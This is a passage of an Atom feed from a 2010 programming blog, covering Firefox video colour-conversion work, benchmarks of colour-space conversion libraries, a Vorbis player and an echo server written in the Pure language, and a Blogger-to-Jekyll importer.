<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
 
 <title>Bluish Coder</title>
 <link href="http://bluishcoder.co.nz/atom.xml" rel="self"/>
 <link href="http://bluishcoder.co.nz/"/>
 <updated>2010-03-12T13:44:00+13:00</updated>
 <id>http://bluishcoder.co.nz/</id>
 <author>
   <name>Chris Double</name>
   <email>chris.double@double.co.nz</email>
 </author>

 
 <entry>
   <title>Changes to Firefox YCbCr Color Conversion Code</title>
   <link href="http://bluishcoder.co.nz/2010/03/12/changes-to-firefox-ycbcr-code.html"/>
   <updated>2010-03-12T13:30:00+13:00</updated>
   <id>http://bluishcoder.co.nz/2010/03/12/changes-to-firefox-ycbcr-code</id>
   <content type="html">&lt;p&gt;I posted previously about &lt;a href='/2010/02/19/comparing-colour-space-conversion-libraries.html'&gt;colour conversion libraries&lt;/a&gt;. To replace the &lt;a href='http://wiki.xiph.org/OggPlay'&gt;liboggplay&lt;/a&gt; conversion routines we decided to try the &lt;a href='http://code.google.com/chromium/'&gt;Chromium&lt;/a&gt; libraries.&lt;/p&gt;

&lt;p&gt;&lt;a href='https://bugzilla.mozilla.org/show_bug.cgi?id=551277'&gt;Bug 551277&lt;/a&gt; adds the Chromium code and integrates it with the new &lt;a href='https://bugzilla.mozilla.org/show_bug.cgi?id=538323'&gt;video layer painting code&lt;/a&gt;. The Chromium code uses a C fallback if MMX is not available but this is done at compile time. I modified it do runtime detection using Mozilla&amp;#8217;s &lt;a href='http://mxr.mozilla.org/mozilla-central/source/xpcom/glue/SSE.h'&gt;SSE.h&lt;/a&gt; and moved the generic C routine from the Linux specific implementation to be used on all platforms that don&amp;#8217;t have MMX. Some other minor modifications were done (function name, namspacing).&lt;/p&gt;

&lt;p&gt;I added an &amp;#8216;update.sh&amp;#8217; script that can be used to update against the latest Chromium code. Given the path to the Chromium source it applies a patch for the changes I made.&lt;/p&gt;

&lt;p&gt;&lt;a href='https://bugzilla.mozilla.org/show_bug.cgi?id=551378'&gt;Bug 551378&lt;/a&gt; adds YCbCr 4:4:4 conversion (YV24). The Chromium code supported 4:2:0 and 4:2:2 (YV12 and YV16 respectively). Theora also allows 4:4:4 per spec. There aren&amp;#8217;t many 4:4:4 Theora videos out in the wild and the fix in this bug only adds support in the slower C implementation. I detect if the video is a 4:4:4 video and fallback to the C code.&lt;/p&gt;

&lt;p&gt;At some point optimized MMX routines should be done for this. I&amp;#8217;ve raised &lt;a href='https://bugzilla.mozilla.org/show_bug.cgi?id=551844'&gt;Bug 551844&lt;/a&gt; for this. This would probably make a good first bug for anyone who wants something small and self contained to work on. It would be good to contribute this back to Chromium when done too.&lt;/p&gt;

&lt;p&gt;Xiph has a &lt;a href='http://wiki.xiph.org/TheoraTestsuite'&gt;test suite&lt;/a&gt; with example videos in the different formats.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>Vorbis Player implemented in Pure</title>
   <link href="http://bluishcoder.co.nz/2010/02/25/vorbis-player-written-in-pure.html"/>
   <updated>2010-02-25T14:00:00+13:00</updated>
   <id>http://bluishcoder.co.nz/2010/02/25/vorbis-player-written-in-pure</id>
   <content type="html">&lt;p&gt;After writing the &lt;a href='/2010/02/20/pure-preforking-echo-server-example.html'&gt;preforking echo server example&lt;/a&gt; in &lt;a href='http://code.google.com/p/pure-lang/'&gt;Pure&lt;/a&gt; I wanted to try something a bit more complex. I&amp;#8217;ve written Ogg players in various languages before so I decided to do one in Pure to compare. Here&amp;#8217;s some of the ones I&amp;#8217;ve written in the past:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href='http://www.bluishcoder.co.nz/2009/03/oggplayer-simple-ogg-player-using.html'&gt;oggplayer&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;&lt;a href='http://www.bluishcoder.co.nz/2009/06/26/decoding-vorbis-files-with-libvorbis.html'&gt;plogg&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;&lt;a href='http://tech.groups.yahoo.com/group/iolanguage/message/11610'&gt;Io Language Addons&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;&lt;a href='http://www.bluishcoder.co.nz/2007/05/ogg-theora-support-for-factor.html'&gt;Factor Ogg Player&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;An unreleased Haskell Vorbis player&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I wrapped the libogg and libvorbis libraries using the Pure FFI. A program &amp;#8216;pure-gen&amp;#8217; is included with Pure that will generate FFI wrappers given a C include file. I ran this against libogg and libvorbis. The generated Pure wrappers look like:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;extern int ogg_page_version(ogg_page*);
extern int ogg_page_continued(ogg_page*);
extern int ogg_page_bos(ogg_page*);&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;As you can see Pure FFI definitions look very much like the C definitions.&lt;/p&gt;

&lt;p&gt;I decided to model an Ogg file as a list of physical pages. This is esentially a list containing elements of the libogg ogg_page object. I have a Pure function that will take this list of pages and return a list of packets for each logical bitstream in the file. For vorbis playback I take this list of packets for the vorbis bitstream and produce a list of decoded PCM data.&lt;/p&gt;

&lt;p&gt;Pure is a strict language by default but provides an &amp;#8217;&amp;amp;&amp;#8217; special form to perform lazy evaluation. I use this to make sure all the returned lists mentioned above are lazy. Playing the lazy list of decoded PCM data never loads the entire file in memory. The file is read, converted into packets and decoded as each element of the PCM data list is requested.&lt;/p&gt;

&lt;p&gt;For audio playback I use &lt;a href='http://connect.creativelabs.com/openal/default.aspx'&gt;OpenAL&lt;/a&gt;. I queue the PCM data to an OpenAL source up to a limit of 50 queued items, removing them as they get processed and adding new ones when room becomes available.&lt;/p&gt;

&lt;p&gt;Here&amp;#8217;s what some of the API to process the Ogg files looks like in Pure. First load the player code. This will also load the Ogg, Vorbis and OpenAL wrappers:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ pure -i player.pure&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;From the Pure REPL, play a vorbis file:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;gt; play_vorbis (sources!0) &amp;quot;test.ogg&amp;quot;;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Load an Ogg file getting a lazy list of all pages in the file:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;gt; using namespace ogg;
&amp;gt; let p = file_pages &amp;quot;test.ogg&amp;quot;;
&amp;gt; p;
ogg_page (#&amp;lt;pointer 0x9e61cc8&amp;gt;,[...]):#&amp;lt;thunk 0xb7259b38&amp;gt;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Get a list of all packets and the serial number of the first logical bitstream in the list of pages:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;gt; let (stream1,serialno) = packets p;
&amp;gt; serialno;
1426627898
&amp;gt; stream1;
ogg_packet (#&amp;lt;pointer 0x9dd98f0&amp;gt;,[...]):#&amp;lt;thunk 0xb725bce0&amp;gt;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Get the next logical bitstream:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;gt; let p2 = filter (\x-&amp;gt;ogg_page_serialno x ~= serialno) p;
&amp;gt; p2;
#&amp;lt;thunk 0xb725dc30&amp;gt;
&amp;gt; let (stream2,serialno2) = packets p2;
&amp;gt; serialno2;
629367739
&amp;gt; stream2;
ogg_packet (#&amp;lt;pointer 0x9cfcf08&amp;gt;,[...]):#&amp;lt;thunk 0xb725c988&amp;gt;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Note that all these results are lazily evaluated so the entire file is not loaded into memory. If we look at the original list of pages you&amp;#8217;ll see what has been read so far (two pages):&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;gt; p;
ogg_page (...):ogg_page (...):#&amp;lt;thunk 0xb725dd98&amp;gt;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Get all the streams in the file:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;gt; let s = all_streams p;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Get all the vorbis streams:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;gt; let v = vorbis_streams s;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Get the first vorbis stream. I ignore the serial number here (this is what the _ does):&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;gt; let (v1, _) = v!0;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Decode the vorbis header packets and intialize a vorbis decoder for the first vorbis stream:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;gt; let decoder = vorbis_header v1;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Get a lazy list of all the decoded PCM data from the vorbis stream:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;gt; let pcm = pcm_data decoder;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The mechanics of getting the decoding floating point data from libvorbis into Pure and then back to the OpenAL C API is made easier due to it being possible to easily convert to and from raw C pointers and Pure matrix objects.&lt;/p&gt;

&lt;p&gt;For example, the data returned from the vorbis call to decode the data is an array of pointers pointing to an array of floats. To convert this to a Pure matrix with dimensions (c,n) where &amp;#8216;c&amp;#8217; is the number of channels and &amp;#8216;n&amp;#8217; is the number of samples:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;vorbis_synthesis_read dsp samples $$ matrix m
when
  f0 = get_pointer data;
  floats = [get_pointer (f0+(x*4))|x=0..(channels-1)];
  m = map (float_matrix samples) floats;
end;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This code uses a list comprehension to return a list of &amp;#8216;pointer to array of floats&amp;#8217;. One pointer for each channel in the audio data. It then maps over this list producing a new list containing a matrix of float&amp;#8217;s. This is list of matrices each of which contains the audio data for a channel. The &amp;#8216;matrix m&amp;#8217; call converts this to a single matrix of dimensions (c,n).&lt;/p&gt;

&lt;p&gt;OpenAL expects the data as a pointer to a contiguous matrix of floats with dimensions (n,c) so when writing to OpenAL the matrix needs to be transposed:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;play_pcm source rate pcm@(x:xs) =
  ....
  queue_sample source rate (transpose x) $$
  play source $$
  play_pcm source rate xs;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This transposed matrix is later converted from floats to 16 bit integers and &amp;#8216;packed&amp;#8217; so it is contiguous in memory, and a pointer to the raw memory passed to OpenAL:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;buffer16 s = pack (map clamp s);  
...
data = buffer16 ...pcmdata...;
alBufferData ... (cooked (short_pointer NULL data)) ((#data) * (sizeof sshort_t)) ...;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The &amp;#8216;cooked&amp;#8217; call means the C memory has &amp;#8216;free&amp;#8217; called on it when nothing in Pure is holding onto it anymore.&lt;/p&gt;

&lt;p&gt;One downside with lazy lists is it can be easy to accidently read the entire file and decode everything before playing. This will cause issues with large Ogg files. I managed to avoid that and files play in constant memory. An &lt;a href='http://okmij.org/ftp/Streams.html'&gt;iteratee&lt;/a&gt; style approach might be interesting to try as an alternative to lazy lists. I&amp;#8217;d like to try decoding Theora files and doing a/v sync in Pure at some point as well.&lt;/p&gt;

&lt;p&gt;I haven&amp;#8217;t used Pure much but it seemed to be fairly simple to put this together. I&amp;#8217;d be interested in feedback on the approach (using lazy lists) and Pure style issues in the code.&lt;/p&gt;

&lt;p&gt;The code for this is at &lt;a href='http://github.com/doublec/pure-ogg-player'&gt;http://github.com/doublec/pure-ogg-player&lt;/a&gt;.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>HTML 5 Video Element for Internet Explorer</title>
   <link href="http://bluishcoder.co.nz/2010/02/22/html5-video-element-for-internet-explorer.html"/>
   <updated>2010-02-22T13:54:00+13:00</updated>
   <id>http://bluishcoder.co.nz/2010/02/22/html5-video-element-for-internet-explorer</id>
   <content type="html">&lt;p&gt;Cristian Adam has been working on a plugin for Internet Explorer that implements the &lt;a href='http://www.whatwg.org/specs/web-apps/current-work/multipage/video.html'&gt;HTML 5 video element&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;He has &lt;a href='http://cristianadam.blogspot.com/2010/02/ie-tag-take-two.html'&gt;released&lt;/a&gt; a new version of the Xiph Ogg Codecs with a technical preview of the &amp;#60;video&amp;#62; element for IE. A screencast of it working is available &lt;a href='http://cristianadam.blogspot.com/2010/02/ie-tag-take-two.html'&gt;at Cristian&amp;#8217;s website&lt;/a&gt;.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>Pure Preforking Echo Server Example</title>
   <link href="http://bluishcoder.co.nz/2010/02/20/pure-preforking-echo-server-example.html"/>
   <updated>2010-02-20T23:50:00+13:00</updated>
   <id>http://bluishcoder.co.nz/2010/02/20/pure-preforking-echo-server-example</id>
   <content type="html">&lt;p&gt;A few months back there were some examples of preforking servers implemented in various languages showing how posix API&amp;#8217;s could be used in those languages. Some examples were:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Ruby: &lt;a href='http://tomayko.com/writings/unicorn-is-unix'&gt;I like Unicorn because it&amp;#8217;s Unix&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;Python: &lt;a href='http://jacobian.org/writing/python-is-unix/'&gt;Python is Unix&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;&lt;a href='http://gist.github.com/240095'&gt;PHP&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;&lt;a href='http://gist.github.com/204301'&gt;C&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I&amp;#8217;m learning the &lt;a href='http://code.google.com/p/pure-lang/'&gt;Pure programming language&lt;/a&gt; and took a stab at doing a Pure implementation. Pure comes with a good FFI for calling C functions and the needed posix calls are provided in the &amp;#8216;posix&amp;#8217; library that comes with it.&lt;/p&gt;

&lt;p&gt;It doesn&amp;#8217;t have any socket routines however but there is a library by Mike Maul called &lt;a href='http://code.google.com/p/pure-lang-extras/'&gt;pure-lang-extras&lt;/a&gt; that provides this. With pure-lang-extras installed the preforking echo server looks like this:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;using ffi, system;
using posix, posix::socket;
using namespace posix, posix::socket;

let sockfd = socket AF_INET SOCK_STREAM 0;
let yes = {1};
setsockopt sockfd SOL_SOCKET SO_REUSEADDR (int_pointer yes) (sizeof sint_t) 0;
let ai = make_sockaddr AF_INET &amp;quot;*&amp;quot; 5000;
bind_socket sockfd ai;
listen sockfd 10;

fork_child f = if pid == 0 then f pid $$ exit 0 else pid when pid = fork end;

child pid  =  fprintf file &amp;quot;Child %d echo&amp;gt; &amp;quot; getpid $$
              fflush file $$
              fprintf file &amp;quot;%s\n&amp;quot; (fgets file) $$
              fclose file $$
              child pid 
              when
                client = accept_socket sockfd ai;
                file = fdopen client &amp;quot;r+&amp;quot;;
              end;

let children = [fork_child child|x=0..2];
do (printf &amp;quot;Forked: %d\n&amp;quot;) children;
do (\n-&amp;gt;(waitpid n NULL 0)) children;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This can be run (assuming it&amp;#8217;s in a file called &amp;#8216;test.pure&amp;#8217;) with:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ pure -x test.pure
Forked: 10433
Forked: 10434
Forked: 10435&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;It will fork three worker processes all waiting on the same socket provided by the main process. The main process waits until all three worker processes complete or are killed. You can test it out by using telnet to port 5000:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ telnet localhost 5000
Trying 127.0.0.1...
Connected to localhost.
Escape character is &amp;#39;^]&amp;#39;.
Child 10433 echo&amp;gt; test test test
test test test
Connection closed by foreign host.&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;If you do this a few times you&amp;#8217;ll see it cycle through the worker processes.&lt;/p&gt;

&lt;p&gt;The example code mostly does posix calls and thin wrapper&amp;#8217;s around C functions so it doesn&amp;#8217;t show off much of the interesting parts of Pure. Pure has automatic currying (or partial evaluation) of functions by missing arguments from the function. For example, this code:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;do (printf &amp;quot;Forked: %d\n&amp;quot;) children;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;printf&lt;/code&gt; is like the C &lt;code&gt;printf&lt;/code&gt; function. It takes a format string followed by a tuple containing arguments for each format directive in that string. In the example above it has one of these, &amp;#8216;%d&amp;#8217;. The code &lt;code&gt;(printf &amp;quot;Forked: %d\n&amp;quot;)&lt;/code&gt; is missing the last argument expected to &lt;code&gt;printf&lt;/code&gt;. Thanks to partial evaluation this evaluates to a function that takes one argument. &lt;code&gt;do&lt;/code&gt; calls this function for each element in the &lt;code&gt;children&lt;/code&gt; list, passing the list element to the function resulting in the &lt;code&gt;printf&lt;/code&gt; call. It&amp;#8217;s equivalent to this more verbose code:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;do (\n -&amp;gt; printf &amp;quot;Forked: %d\n&amp;quot; n) children;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Another Pure feature used is the ability to get raw pointers to matrices. The code &lt;code&gt;{1}&lt;/code&gt; is a one row matrix containing one element, the interger &amp;#8216;1&amp;#8217;. A later line gets a raw pointer to this, converting it to a array of integers if it isn&amp;#8217;t already in that format: &lt;code&gt;int_pointer yes&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;To fork the child processes I use a list comprehension:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;let children = [fork_child child|x=0..2];&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;0..2&lt;/code&gt; is a short hand syntax to create a list of numbers from 0 to 2. The &lt;code&gt;[...|....]&lt;/code&gt; is a list comprehension. The left hand side is called for each element of the right hand side and the result accumulated in a list. For example, at the Pure REPL:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;gt; [x*2|x=0..5];
[0,2,4,6,8,10]&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;For more on Pure there is quite a bit of documentation:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href='http://pure-lang.googlecode.com/svn/docs/pure-intro/pure-intro.pdf'&gt;The Pure Programming Language&lt;/a&gt; (PDF)&lt;/li&gt;

&lt;li&gt;&lt;a href='http://pure-lang.googlecode.com/svn/docs/pure.html'&gt;The Pure Manual&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;&lt;a href='http://pure-lang.googlecode.com/svn/docs/purelib.html'&gt;The Pure Library Manual&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content>
 </entry>
 
 <entry>
   <title>Comparing Colour Space Conversion Libraries</title>
   <link href="http://bluishcoder.co.nz/2010/02/19/comparing-colour-space-conversion-libraries.html"/>
   <updated>2010-02-19T17:00:00+13:00</updated>
   <id>http://bluishcoder.co.nz/2010/02/19/comparing-colour-space-conversion-libraries</id>
   <content type="html">&lt;p&gt;The &lt;a href='/2009/06/25/decoding-theora-files-using-libtheora.html'&gt;libtheora api&lt;/a&gt; gives &lt;a href='http://en.wikipedia.org/wiki/YCbCr'&gt;YCbCr data&lt;/a&gt; as the result of a decoded frame. The current method of displaying data through Firefox requires it to be converted to &lt;a href='http://en.wikipedia.org/wiki/RGBA_color_space'&gt;RGBA&lt;/a&gt;. The conversion of YCbCr to RGBA turns out to be a bottleneck.&lt;/p&gt;

&lt;p&gt;In current Firefox builds we use the conversion routines provided by &lt;a href='http://wiki.xiph.org/OggPlay'&gt;liboggplay&lt;/a&gt;. The Ogg backend is &lt;a href='https://bugzilla.mozilla.org/show_bug.cgi?id=531340'&gt;being modified&lt;/a&gt; to reduce the third party library usage (Started by me and continued now by &lt;a href='http://pearce.org.nz/'&gt;Chris Pearce&lt;/a&gt;) and the liboggplay usage will go away. I looked at some of the colour space conversion routines available to get an indication of their relative performance.&lt;/p&gt;

&lt;p&gt;I tested the following colour space conversion routines:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Using integer math and lookup tables.&lt;/li&gt;

&lt;li&gt;A basic C version using floating point math.&lt;/li&gt;

&lt;li&gt;&lt;a href='http://wiki.xiph.org/OggPlay'&gt;liboggplay&lt;/a&gt;. BSD license.&lt;/li&gt;

&lt;li&gt;&lt;a href='http://framewave.sourceforge.net/'&gt;FrameWave&lt;/a&gt; (also known as the AMD Performance Library). Apache License 2.0.&lt;/li&gt;

&lt;li&gt;&lt;a href='http://software.intel.com/en-us/intel-ipp/'&gt;Intel Integrated Performance Primitives&lt;/a&gt;. Commercial license.&lt;/li&gt;

&lt;li&gt;&lt;a href='http://blog.sublimeintervention.com/archive/2008/Mar-21.html'&gt;Moonlight&amp;#8217;s colour space conversion routines&lt;/a&gt;. I tested the C and MMX implementation from Moonlight. LGPL2 license.&lt;/li&gt;

&lt;li&gt;The conversion routines from &lt;a href='http://code.google.com/chromium/'&gt;Chromium&lt;/a&gt;. BSD license.&lt;/li&gt;

&lt;li&gt;&lt;a href='http://git.mplayerhq.hu/?p=libswscale;a=summary'&gt;libswscale&lt;/a&gt;. LGPL license.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For testing I modified &lt;a href='http://github.com/doublec/plogg'&gt;plogg&lt;/a&gt; to decode a theora file and time the colour space conversion portion of the process. I have a series of command line switches to pick the implementation of the colour space conversion. I used a movie trailer Theora file I had handy (480x260) and these were the results:&lt;/p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Implementation&lt;/th&gt;&lt;th&gt;Total Time&lt;/th&gt;&lt;th&gt;Frame Time&lt;/th&gt;&lt;th&gt;Relative&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style='text-align: left;'&gt;FrameWave&lt;/td&gt;&lt;td style='text-align: right;'&gt;1.00752&lt;/td&gt;&lt;td style='text-align: right;'&gt;0.00033584&lt;/td&gt;&lt;td style='text-align: right;'&gt;0.65&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style='text-align: left;'&gt;Chromium&lt;/td&gt;&lt;td style='text-align: right;'&gt;1.02053&lt;/td&gt;&lt;td style='text-align: right;'&gt;0.00034017&lt;/td&gt;&lt;td style='text-align: right;'&gt;0.66&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style='text-align: left;'&gt;Intel IPP (optimized)&lt;/td&gt;&lt;td style='text-align: right;'&gt;1.32477&lt;/td&gt;&lt;td style='text-align: right;'&gt;0.00044159&lt;/td&gt;&lt;td style='text-align: right;'&gt;0.85&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style='text-align: left;'&gt;Moonlight MMX&lt;/td&gt;&lt;td style='text-align: right;'&gt;1.35934&lt;/td&gt;&lt;td style='text-align: right;'&gt;0.00045311&lt;/td&gt;&lt;td style='text-align: right;'&gt;0.87&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style='text-align: left;'&gt;liboggplay&lt;/td&gt;&lt;td style='text-align: right;'&gt;1.55765&lt;/td&gt;&lt;td style='text-align: right;'&gt;0.00051921&lt;/td&gt;&lt;td style='text-align: right;'&gt;1.00&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style='text-align: left;'&gt;libswscale&lt;/td&gt;&lt;td style='text-align: right;'&gt;2.68307&lt;/td&gt;&lt;td style='text-align: right;'&gt;0.00089435&lt;/td&gt;&lt;td style='text-align: right;'&gt;1.72&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style='text-align: left;'&gt;Intel IPP (default)&lt;/td&gt;&lt;td style='text-align: right;'&gt;4.21107&lt;/td&gt;&lt;td style='text-align: right;'&gt;0.00140369&lt;/td&gt;&lt;td style='text-align: right;'&gt;2.70&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style='text-align: left;'&gt;Integer C&lt;/td&gt;&lt;td style='text-align: right;'&gt;4.81204&lt;/td&gt;&lt;td style='text-align: right;'&gt;0.00160401&lt;/td&gt;&lt;td style='text-align: right;'&gt;3.09&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style='text-align: left;'&gt;Moonlight C&lt;/td&gt;&lt;td style='text-align: right;'&gt;6.80419&lt;/td&gt;&lt;td style='text-align: right;'&gt;0.00226806&lt;/td&gt;&lt;td style='text-align: right;'&gt;4.37&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style='text-align: left;'&gt;Floating Point C&lt;/td&gt;&lt;td style='text-align: right;'&gt;11.16770&lt;/td&gt;&lt;td style='text-align: right;'&gt;0.00372257&lt;/td&gt;&lt;td style='text-align: right;'&gt;7.17&lt;/td&gt;
&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The &amp;#8216;Total Time&amp;#8217; is the time spent in the conversion code for every frame in the file (3,000 frames). &amp;#8216;Frame Time&amp;#8217; is the average time per frame. &amp;#8216;Relative&amp;#8217; is the time taken relative to the liboggplay implementation. Since this is what we are currently using this makes it easy to see what sort of improvement we could get by switching. The testing was done on a 1.83 GHz Core Duo laptop running Linux.&lt;/p&gt;

&lt;p&gt;From the results it seems that FrameWave and Chromium are the fastest and very close in performance. The license for the Chromium colour space conversion code is probably a bit better fit for our usage though and it&amp;#8217;s smaller and easier to integrate if we were to choose to use it. The &amp;#8216;default&amp;#8217; Intel IPP version uses the non-processor specific implementation whereas the &amp;#8216;optimized&amp;#8217; uses routines optimized for the particular processor on the machine I used for testing.&lt;/p&gt;

&lt;p&gt;I&amp;#8217;m interested in any comments on the libraries listed and recommendations for other libraries that I could try. I&amp;#8217;ll put the source for the test program on github shortly and update this post with the link. Results from different machines would be useful.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>On2 Stockholders Approve Google Merger</title>
   <link href="http://bluishcoder.co.nz/2010/02/18/on2-stockholders-approve-google-merger.html"/>
   <updated>2010-02-18T15:00:00+13:00</updated>
   <id>http://bluishcoder.co.nz/2010/02/18/on2-stockholders-approve-google-merger</id>
   <content type="html">&lt;p&gt;Last year &lt;a href='http://googleblog.blogspot.com/2009/08/innovation-in-video-on-web.html'&gt;Google announced&lt;/a&gt; that they were going to acquire &lt;a href='http://www.on2.com'&gt;On2 Technologies&lt;/a&gt;. This is the company that produced (and open sourced) the VP3 video codec that Theora is based on. Google wrote on their blog:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Although we&amp;#8217;re not in a position to discuss specific product plans until after the deal closes, we are committed to innovation in video quality on the web, and we believe that On2 Technologies&amp;#8217; team and technology will help us further that goal.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The deal has been delayed awaiting approval of the majority of the On2 stockholders to agree on the acquisition. According to the On2 website &lt;a href='http://www.on2.com/index.php?id=472&amp;amp;news_id=698'&gt;this happened today&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;On2 Technologies, Inc. (NYSE Amex: ONT) today announced that its stockholders approved the merger of On2 with a wholly owned subsidiary of Google Inc. at its Reconvened Special Meeting held earlier today.&lt;/p&gt;

&lt;p&gt;On2 stockholders holding in excess of a majority of the outstanding shares of On2 Common Stock voted in favor of the merger proposal.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;It&amp;#8217;ll be interesting to see what comes from this. On2 have other video codecs. (&lt;a href='http://en.wikipedia.org/wiki/VP6'&gt;VP6&lt;/a&gt; used in Flash on some video sites, &lt;a href='http://en.wikipedia.org/wiki/VP7'&gt;VP7&lt;/a&gt; and their latest codec &lt;a href='http://www.on2.com/index.php?id=439&amp;amp;news_id=641'&gt;VP8&lt;/a&gt;.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>Dealing with my archived Blogger posts</title>
   <link href="http://bluishcoder.co.nz/2010/02/14/dealing-with-archived-blogger-posts.html"/>
   <updated>2010-02-14T16:54:00+13:00</updated>
   <id>http://bluishcoder.co.nz/2010/02/14/dealing-with-archived-blogger-posts</id>
   <content type="html">&lt;p&gt;I&amp;#8217;ve &lt;a href='/2010/02/13/moving-away-from-blogger.html'&gt;stopped using Blogger&lt;/a&gt; for the weblog and have moved to using &lt;a href='http://github.com/mojombo/jekyll'&gt;Jekyll&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I&amp;#8217;ve set things up so I can edit the posts on my local push, push to my server using &lt;a href='http://git-scm.com/'&gt;git&lt;/a&gt; and it publishes the new post.&lt;/p&gt;

&lt;p&gt;Blogger provides a way to export all existing posts and comments as an XML file. I used this to manually import a few posts to test out Jekyll but then decided this was way to much work to convert everything. Instead I opted to create posts that link to my original Blogger ones so at least the archives and tags list in Jekyll will allow listing the posts and titles.&lt;/p&gt;

&lt;p&gt;To import the existing archived blogger posts I wrote a program to read from the Blogger export file, extract the title, post tags/categories and existing URL and create Jekyll equivalents. It seems to have worked ok and I&amp;#8217;ll manually fix up any problems if I find them.&lt;/p&gt;

&lt;p&gt;I wrote the importer in the &lt;a href='http://code.google.com/p/pure-lang/'&gt;Pure Programming Language&lt;/a&gt; to have a play with that language. I dabbled with it when it first came out but this was my first time using it in anger. It worked out pretty well. The core of the code to write out the posts looks like:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;write_tag_header fd [] = ();
write_tag_header fd (x:xs) = fprintf fd &amp;quot;tags:\n&amp;quot; ();

write_tags fd (x:xs) = fprintf fd &amp;quot;  - %s\n&amp;quot; x $$ 
                       write_tags_fd xs;
write_tags fd [] = ();

create_post post = fprintf fd &amp;quot;---\n&amp;quot; () $$
                   fprintf fd &amp;quot;layout: post\n&amp;quot; () $$
                   fprintf fd &amp;quot;title: %s\n&amp;quot; title $$
                   write_tag_header fd tags $$
                   write_tags fd tags $$
